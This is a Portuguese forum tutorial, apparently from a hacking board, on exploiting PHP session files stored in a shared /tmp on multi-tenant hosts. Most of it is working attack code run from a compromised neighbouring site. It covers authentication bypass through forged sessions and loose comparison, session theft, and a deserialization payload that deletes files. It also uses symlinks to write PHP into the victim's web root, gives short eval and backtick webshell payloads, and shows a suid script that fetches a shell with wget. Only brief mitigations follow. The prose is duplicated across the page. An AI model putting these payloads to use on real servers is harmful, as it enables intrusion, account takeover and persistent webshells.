Em PHP é muito comum o uso de sessões, que é um mecanismo de salvar dados entre vários acessos de um usuário.
A cada usuário é associado um identificador, guardado em cookies ou passado pela url (caso seja permitido nas configurações), que referencia no servidor os dados desse.
Por padrão, esses dados são salvos em arquivos no servidor e, no caso de sistemas *nix, na /tmp.
O problema é que qualquer usuário do sistema pode escrever na /tmp e o PHP não se importa se do site A são referenciados dados de sessão em um arquivo do usuário do site B no mesmo host.
Exemplificando:
Dado um site B invadido no mesmo host do site A.
Site B:
cria_sessao.php:
Site A:
le_sessao.php:
Para que o dado seja acessivel ao script le_sessao.php do site A basta alterar o id da sessão no cookie do mesmo.
Bom, vejamos alguns exemplos de como isso nos pode ser útil.
Para burlar essa autenticação bastaria, do site B, setar esses valores e os tornar acessiveis pelo script do site A, como já demonstrado acima.
Existem casos em que o valor da sessão é comparado com strings, como em:
A primeira vista o script parece bem seguro, mas lembre-se que o operador de comparação == muda o tipo de um dos parâmetros para o de maior precedência e vários tipos de dados podem ser guardados em sessões.
O que isso quer dizer?Quando, com esse operador, você compara um tipo booleano com uma string o valor efetivamente retornado pela string será um booleano (precedência maior) de valor verdadeiro (qualquer string não vazia) ou falso.
Logo, basta, do site B, setarmos esses valores como o booleano true:
Também é comum scripts usando valores de sessão não sanitizados.
Fica evidente a possibilidade de injeção de SQL.
Ainda não abordamos um problema primordial: scripts vão variar em como denominam os dados na sessão.
Nos scripts acima poderiamos ter as chaves __login_ e __senha_ ao invés de login e senha.
Você vai deixar a aplicação te dizer essas denominações.
Vai simplesmente "apontar a sessão" para um arquivo que você controla (como já demonstrado acima) e ler o que a aplicação salva nele, como no caso do login.
Ai sim tentará injetar dados e afins.
Se não houver acesso a parte que se quer explorar na aplicação (como um login administrativo restrito), os testes terão que ser feitos as cegas (não saberá exatamente as chaves utilizadas) ou por um brute-force das chaves.
Exploração as cegas:
Outros métodos de fuzzing podem ser necessários, como já tentar algumas injeções.
Pra definir específicamente quais chaves são usadas uma espécie de binary search pode ser usado:
1 - Definir um arquivo A com uma série de chaves e dentre elas as utilizadas.
2 - Proceder a dividir o arquivo em 2 (de forma inteligente).
3 - Repetir os passos anteriores até se chegar ao arquivo final só com as chaves utilizadas.
Nota-se que em todos os scripts anteriores é possivel roubar sessões de outros usuários, bastando listar todas as sessões pelos arquivos na /tmp e alterando o id no cookie.
Isso pode ser bem útil, como em um caso no qual a injeção de dados de sessão não seja um vetor explorável, no caso de um painel restrito de administrador, para abusar da conta de outros usuários etc.
É interessante fazer a checagem desses ids de forma automática, i.e, criar um programa pra isso.
Ataques de fixação de sessão (por XSS, DNS Rebind ou até pela url) podem ser "melhorados" apontando o id fixado para um arquivo que você controla, o que pode vir a expor dados sensiveis (como no primeiro exemplo, onde a hash da senha é guardada na sessão).
Observe um caso de exploração interessante:
O método anterior cai como uma luva.Basta ler as credenciais no arquivo.Mas e se tivéssemos:
Já não basta só ler as credenciais.Poderiamos proceder alterando o ip no arquivo para o nosso e dai acessando o script com o id que referencia esses dados.
Ataques de deserialização também são possiveis nesse contexto, lembrando que se houver um autoloader ele é chamado no processo.
Suponha que a classe acima está disponivel em um script que utiliza sessões.Para deletar um arquivo do usuário a sua escolha bastaria passar um objeto dessa classe com $arquivo_temporario apontando para o mesmo.
O objeto estaria, então, disponivel no contexto do script alvo e no final da execução do script, quando o __destruct for chamado o arquivo será deletado.
Havendo a possibilidade da criação de symlinks, é possivel escrever e sobreescrever arquivos do alvo através de scripts que utilizem sessões.
Infelizmente, só parte do output é controlado por você dado o formato em que são escritos os dados podendo haver ainda outras restrições forçadas pelo script.
Suponha o script:
Site A:
Execute o mesmo abrindo a página no site A.Note o que foi escrito no arquivo de sessão sess_ID (onde ID é o id exibido, disponivel no cookie):
exemplo|s:19:"<?php phpinfo(); ?>";
Temos nosso código PHP ali no meio pronto pra ser executado.
Podemos então criar um symlink para onde queremos escrever e fazer o id de sessão apontar pra esse symlink:
Do site B invadido:
ln -fs /home/sitea/public_html/phpinfo.php sess_foo
Basta agora entrarmos com esse id de sessão no script do site a que nosso script estará lá.
Outras possibilidades incluem sobreescrever um script de validação de credenciais com dados inválidos e por ai vai.
Note que sobreescrever o arquivo checa_login.php subverteria a autenticação.
Pode acontecer do campo utilizado para a injeção (uma senha salva na sessão em plain-text sem limitações de caracteres utilizados, por exemplo) ter uma limitação de tamanho.
Nesse caso, as seguintes payloads, dependentes do short_open_tags disponível em versões antigas, podem ser utilizadas:
Melhor injeção (não é passivel de disable_functions já que o eval é uma construção de linguagem), 18 caracteres: <?eval($_GET[0])?>
Query string de exemplo [1]: ?0=phpinfo();
Query string de exemplo [2] (evitando aspas): ?0=file_put_contents($_GET[1],base64_decode($_GET[2]));&1=exemplo.php&2=shell em base64
Limitado pelo disable_functions, 14 caracteres: <?`$_GET[0]`?>
Query string de exemplo [1]: ?0=php -i
Query string de exemplo [2]: ?0=echo "<?php /*codigo da shell ou downloader*/ ?>" > exemplo.php
Query string de exemplo [3] (evitando aspas, requer base64 instalado.existem outros meios): ?0=echo shell em base64 | base64 -d > exemplo.php
Limitado pelo disable_functions, 12 caracteres: <?`/tmp/a`?>
Do site B o script a teria que ser criado em /tmp como suid.Por exemplo:
echo -e "#!/bin/bash\nwget Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... shell.txt /home/sitea/public_html/shell.php" > /tmp/a
chmod a+rwxs /tmp/a
Os ataques acima (com exceção do de roubo) são restringidos pelo safe_mode (sem safe_mode_gid) e possivelmente open_basedir.
A real -e óbvia- solução é setar a session.save_path para uma diretória sua com as permissões corretas.
Por exemplo:
#Cria diretório
mkdir /home/sitea/tmp
#Deixa o diretório com permissão de leitura e escrita somente para o usuário.Seta o sticky bit (só o dono do arquivo pode o deletar) por precaução.
chmod a-rwx+t,u+rw /home/sitea/tmp2
E depois alterar as configurações do PHP (no php.ini ou por script) para refletir a mudança.
Guardar as sessões de outras maneiras (como em um banco de dados, por exemplo) também resolve, desde que existam políticas de segurança compatíveis.
O apresentado acima ainda não nos protege de roubo de sessões (através de XSS e afins).É interessante o uso de um token do usuário para a validação da sessão em relação ao acesso do mesmo.
Por íncrivel que pareça, isso é extremamente útil.
Créditos: singur
A cada usuário é associado um identificador, guardado em cookies ou passado pela url (caso seja permitido nas configurações), que referencia no servidor os dados desse.
Por padrão, esses dados são salvos em arquivos no servidor e, no caso de sistemas *nix, na /tmp.
O problema é que qualquer usuário do sistema pode escrever na /tmp e o PHP não se importa se do site A são referenciados dados de sessão em um arquivo do usuário do site B no mesmo host.
Exemplificando:
Dado um site B invadido no mesmo host do site A.
Site B:
cria_sessao.php:
Código:
<?php /* Ao invés de usar as funções de sessão do PHP poderiamos também simplesmente escrever os dados já serializados no arquivo (é bem útil se houverem vetores para ataques de deserialização). */ session_start(); /* Mudamos as permissões do arquivo para que todos os usuários possam ler e escrever nele. */ chmod('/tmp/sess_'.session_id(), 0777); $_SESSION['exemplo'] = 'Esse dado será lido do site A.'; /* Bastaria olhar o cookie (por padrão com a chave PHPSESSID) para saber qual o ID, o exibimos no script por simplicidade. */ echo session_id(); ?>
le_sessao.php:
Código:
<?php session_start(); echo $_SESSION['exemplo']; ?>
Bom, vejamos alguns exemplos de como isso nos pode ser útil.
Código:
<?php session_start(); include 'db_config.php'; if(isset($_SESSION['login']) && isset($_SESSION['senha'])) { echo 'Autenticado com sucesso!', nl2br("\n"); echo 'Bem vindo,', $_SESSION['login']; } else if(isset($_POST['login']) && isset($_POST['senha'])) { /* Código desnecessario. Usando o antigo driver ao inves do mysqli (rôp). */ $login = mysqli_real_escape_string($_POST['login']); $senha = sha1($_POST['senha']); $query = mysql_query(sprintf('SELECT 1 FROM usuarios WHERE login=\'%s\' AND senha=\'%s\'', $login, $senha)); if($query && mysql_num_rows($query) > 0) { $_SESSION['login'] = $login; $_SESSION['senha'] = $senha; } else { echo 'Autenticação falhou.'; } } else { /* Exibe formulário de login. */ } ?>
Existem casos em que o valor da sessão é comparado com strings, como em:
Código:
<?php session_start(); $cfg_login = 'algum login'; $cfg_senha = 'alguma senha'; $login = isset($_SESSION['login']) ? $_SESSION['login'] : ''; $senha = isset($_SESSION['senha']) ? $_SESSION['senha'] : ''; if($login == $cfg_login && $senha == $cfg_senha) { echo 'Autenticado!'; } else { //Testa com valores fornecidos ou exibe formulario de login } ?>
O que isso quer dizer?Quando, com esse operador, você compara um tipo booleano com uma string o valor efetivamente retornado pela string será um booleano (precedência maior) de valor verdadeiro (qualquer string não vazia) ou falso.
Logo, basta, do site B, setarmos esses valores como o booleano true:
Código:
<?php session_start(); chmod('/tmp/sess_'.session_id(), 0777); $_SESSION['login'] = true; $_SESSION['senha'] = true; ?>
Código:
<?php include 'config.php'; include 'utils.php'; checa_login(); $query = mysql_query(sprintf('SELECT creditos FROM usuarios WHERE login=\'%s\'', $_SESSION['login'])); //Resto do código ?>
Ainda não abordamos um problema primordial: scripts vão variar em como denominam os dados na sessão.
Nos scripts acima poderiamos ter as chaves __login_ e __senha_ ao invés de login e senha.
Você vai deixar a aplicação te dizer essas denominações.
Vai simplesmente "apontar a sessão" para um arquivo que você controla (como já demonstrado acima) e ler o que a aplicação salva nele, como no caso do login.
Ai sim tentará injetar dados e afins.
Se não houver acesso a parte que se quer explorar na aplicação (como um login administrativo restrito), os testes terão que ser feitos as cegas (não saberá exatamente as chaves utilizadas) ou por um brute-force das chaves.
Exploração as cegas:
Código:
<?php function _sess_serialize($keys, $value) { $ret = ''; foreach($keys as $key) { $ret .= $key.'|'.serialize($value); } return $ret; } $login_keys = array('login', 'usuario', 'user', 'username', '_user'); $pass_keys = array('senha', 'pass', 'password'); $sess_file = '/tmp/sess_'.md5(1); /* Usamos um objeto serializavel da SPL para tentar causar um erro no caso do uso em uma operação com string (vide cast). Isso já burla a autenticação valendo-se de um isset e similares, como demonstrado acima. */ $ret = _sess_serialize(array_merge($login_keys, $pass_keys, $autenticado_keys), new SplObjectStorage()); file_put_contents($sess_file, $ret); chmod($sess_file, 0777); ?>
Pra definir específicamente quais chaves são usadas uma espécie de binary search pode ser usado:
1 - Definir um arquivo A com uma série de chaves e dentre elas as utilizadas.
2 - Proceder a dividir o arquivo em 2 (de forma inteligente).
3 - Repetir os passos anteriores até se chegar ao arquivo final só com as chaves utilizadas.
Nota-se que em todos os scripts anteriores é possivel roubar sessões de outros usuários, bastando listar todas as sessões pelos arquivos na /tmp e alterando o id no cookie.
Isso pode ser bem útil, como em um caso no qual a injeção de dados de sessão não seja um vetor explorável, no caso de um painel restrito de administrador, para abusar da conta de outros usuários etc.
É interessante fazer a checagem desses ids de forma automática, i.e, criar um programa pra isso.
Ataques de fixação de sessão (por XSS, DNS Rebind ou até pela url) podem ser "melhorados" apontando o id fixado para um arquivo que você controla, o que pode vir a expor dados sensiveis (como no primeiro exemplo, onde a hash da senha é guardada na sessão).
Observe um caso de exploração interessante:
Código:
<?php session_start(); include 'utils.php'; $cfg_login = 'algum login'; $cfg_senha = 'alguma senha'; $login = isset($_SESSION['login']) ? $_SESSION['login'] : ''; $senha = isset($_SESSION['senha']) ? $_SESSION['senha'] : ''; $ip = isset($_SESSION['ip']) ? $_SESSION['ip'] : ''; //Corrigido if($login === $cfg_login && $senha === $cfg_senha && $_SERVER['REMOTE_ADDR'] === $ip) { echo 'Autenticado!'; //Mostra página interessante, como um upload. } else { //Código MUITO tosco para facilitar exemplificacao $res = faz_autenticacao(); if($res['esta_autenticado']) { $_SESSION['login'] = $res['login']; $_SESSION['senha'] = $res['senha']; $_SESSION['ip'] = $_SERVER['REMOTE_ADDR']; //mostra pagina atual refresh(); } } ?>
Código:
<?php session_start(); include 'utils.php'; $cfg_login = 'algum login'; $cfg_senha = 'alguma senha'; $login = isset($_SESSION['login']) ? $_SESSION['login'] : ''; $senha = isset($_SESSION['senha']) ? $_SESSION['senha'] : ''; $ip = isset($_SESSION['ip']) ? $_SESSION['ip'] : ''; //Corrigido if($login === $cfg_login && $senha === $cfg_senha && $_SERVER['REMOTE_ADDR'] === $ip) { echo 'Autenticado!'; //mostra pagina interessante, como um upload. } else { //codigo MUITO tosco para facilitar a exemplificacao $res = faz_autenticacao(); if($res['esta_autenticado']) { $_SESSION['login'] = $res['login']; //Senha é guardada como um hash forte $_SESSION['senha'] = sha1('SALTFODA'.$res['senha']); $_SESSION['ip'] = $_SERVER['REMOTE_ADDR']; //Mostra página atual refresh(); } } ?>
Ataques de deserialização também são possiveis nesse contexto, lembrando que se houver um autoloader ele é chamado no processo.
Código:
<?php class ClasseVulneravel { private $arquivo_temporario; public function __construct($arquivo_temporario = 'temp.txt') { $this->arquivo_temporario = $arquivo_temporario; } //... public function __destruct() { unlink($this->arquivo_temporario); } } ?>
Código:
<?php //supondo que queiramos deletar /home/sitea/public_html/restrito/.htaccess $sess_file = '/tmp/sess_'.md5(1); //equivalente a serialize(new ClasseVulneravel('/home/sitea/public_html/restrito/.htaccess')); $objeto_serializado = 'O:16:"ClasseVulneravel":1:{s:36:"ClasseVulneravelarquivo_temporario";s:42:"/home/sitea/public_html/restrito/.htaccess";}'; file_put_contents($sess_file, 'chave_qualquer|'.$objeto_serializado); chmod($sess_file, 0777); ?>
Havendo a possibilidade da criação de symlinks, é possivel escrever e sobreescrever arquivos do alvo através de scripts que utilizem sessões.
Infelizmente, só parte do output é controlado por você dado o formato em que são escritos os dados podendo haver ainda outras restrições forçadas pelo script.
Suponha o script:
Site A:
Código:
<?php session_start(); $_SESSION['exemplo'] = '<?php phpinfo(); ?>'; //simplificando echo 'id:', session_id(); ?>
exemplo|s:19:"<?php phpinfo(); ?>";
Temos nosso código PHP ali no meio pronto pra ser executado.
Podemos então criar um symlink para onde queremos escrever e fazer o id de sessão apontar pra esse symlink:
Do site B invadido:
ln -fs /home/sitea/public_html/phpinfo.php sess_foo
Basta agora entrarmos com esse id de sessão no script do site a que nosso script estará lá.
Outras possibilidades incluem sobreescrever um script de validação de credenciais com dados inválidos e por ai vai.
Código:
<?php //se nao estiver logado, o usuario toma um redirect e a execução para include 'checa_login.php'; echo 'Bem vindo a area restrita!!'; ?>
Pode acontecer do campo utilizado para a injeção (uma senha salva na sessão em plain-text sem limitações de caracteres utilizados, por exemplo) ter uma limitação de tamanho.
Nesse caso, as seguintes payloads, dependentes do short_open_tags disponível em versões antigas, podem ser utilizadas:
Melhor injeção (não é passivel de disable_functions já que o eval é uma construção de linguagem), 18 caracteres: <?eval($_GET[0])?>
Query string de exemplo [1]: ?0=phpinfo();
Query string de exemplo [2] (evitando aspas): ?0=file_put_contents($_GET[1],base64_decode($_GET[2]));&1=exemplo.php&2=shell em base64
Limitado pelo disable_functions, 14 caracteres: <?`$_GET[0]`?>
Query string de exemplo [1]: ?0=php -i
Query string de exemplo [2]: ?0=echo "<?php /*codigo da shell ou downloader*/ ?>" > exemplo.php
Query string de exemplo [3] (evitando aspas, requer base64 instalado.existem outros meios): ?0=echo shell em base64 | base64 -d > exemplo.php
Limitado pelo disable_functions, 12 caracteres: <?`/tmp/a`?>
Do site B o script a teria que ser criado em /tmp como suid.Por exemplo:
echo -e "#!/bin/bash\nwget Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... shell.txt /home/sitea/public_html/shell.php" > /tmp/a
chmod a+rwxs /tmp/a
Os ataques acima (com exceção do de roubo) são restringidos pelo safe_mode (sem safe_mode_gid) e possivelmente open_basedir.
A real -e óbvia- solução é setar a session.save_path para uma diretória sua com as permissões corretas.
Por exemplo:
#Cria diretório
mkdir /home/sitea/tmp
#Deixa o diretório com permissão de leitura e escrita somente para o usuário.Seta o sticky bit (só o dono do arquivo pode o deletar) por precaução.
chmod a-rwx+t,u+rw /home/sitea/tmp2
E depois alterar as configurações do PHP (no php.ini ou por script) para refletir a mudança.
Código:
<?php session_save_path('/home/sitea/tmp'); //ou ini_set('session.save_path', '/home/sitea/tmp'); ?>
O apresentado acima ainda não nos protege de roubo de sessões (através de XSS e afins).É interessante o uso de um token do usuário para a validação da sessão em relação ao acesso do mesmo.
Código:
<?php session_start(); //sha1(ip+browser) $checksum = sha1($_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGENT']); if(!isset($_SESSION['token'])) $_SESSION['token'] = $checksum; else if($_SESSION['token'] !== $checksum) die('Essa sessão não é sua!'); ?>
Créditos: singur
Comment